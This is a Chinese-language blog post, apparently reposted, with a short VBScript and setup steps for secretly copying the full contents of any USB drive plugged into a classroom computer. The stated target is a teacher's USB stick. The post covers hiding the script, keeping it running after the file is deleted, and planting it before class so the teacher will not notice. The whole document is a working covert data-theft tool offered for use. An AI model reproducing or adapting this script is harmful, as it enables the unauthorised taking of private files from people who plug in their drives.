拷贝

代码优化了一下，把不是很重要的都删掉了，这次使用时看不出任何现象，同样复制U盘里的东西的时候不会出现进度条，完全后台运行，老师绝对看不出   同 样的建立一个文本文档，WIN+R 里面打NOTEPAD ，或者自己新建一个都一样 把下面的代码复制进去   set fso=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") on error resume next do wscript.sleep 1000 if fso.driveexists("U盘的盘符") then fso.copyfile "U盘的盘符加*号","要复制到的目录" fso.copyfolder "U盘的盘符加*号","要复制到的目录" wscript.sleep 20000 end if loop   注意标颜色的地方要自己改 蓝色的就是要复制到的目 录，比如要复制到C盘USB文件夹里，则用C:\USB\代 替蓝色部分，注意大小写，同时必须确保USB这个文件 夹存在。 红 色的是U盘的盘符，比如新插进去的U盘是E盘，则用e:\*代 替红色部分，F盘就是f:\*， 第一个U盘的盘符，这个不要*号， 后2个切记不要漏掉*这个符号，   复 制好夜改好后保存文件就OK了，然后改一下这个文件的名字，最好使用英文的，然后后缀改成.VBS，原来是.TXT的，如果后缀没哟显示，则先打开我的电 脑，在菜单栏里找到，工具——文件夹选项，在查看标签里，有一个隐藏已知文件类型的扩展名，把勾勾去掉就会显示出来后缀了。 后缀改好以 后， 运行这个文件，就OK了。同时你可以把这个文件删除掉，它已经驻留内存了，重启以后这个东西就不会再出现了，老师绝对发现不了 要停止这个东西，在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。   另外我不是计 算机专业的，这个东西目前对插N个U盘只会复制第一个，对插移动硬盘会全部复制···要接近电脑请在上课之前，一般老师怕麻烦不会去重启的。 原帖：http://blog.renren.com/blog/239175158/464125485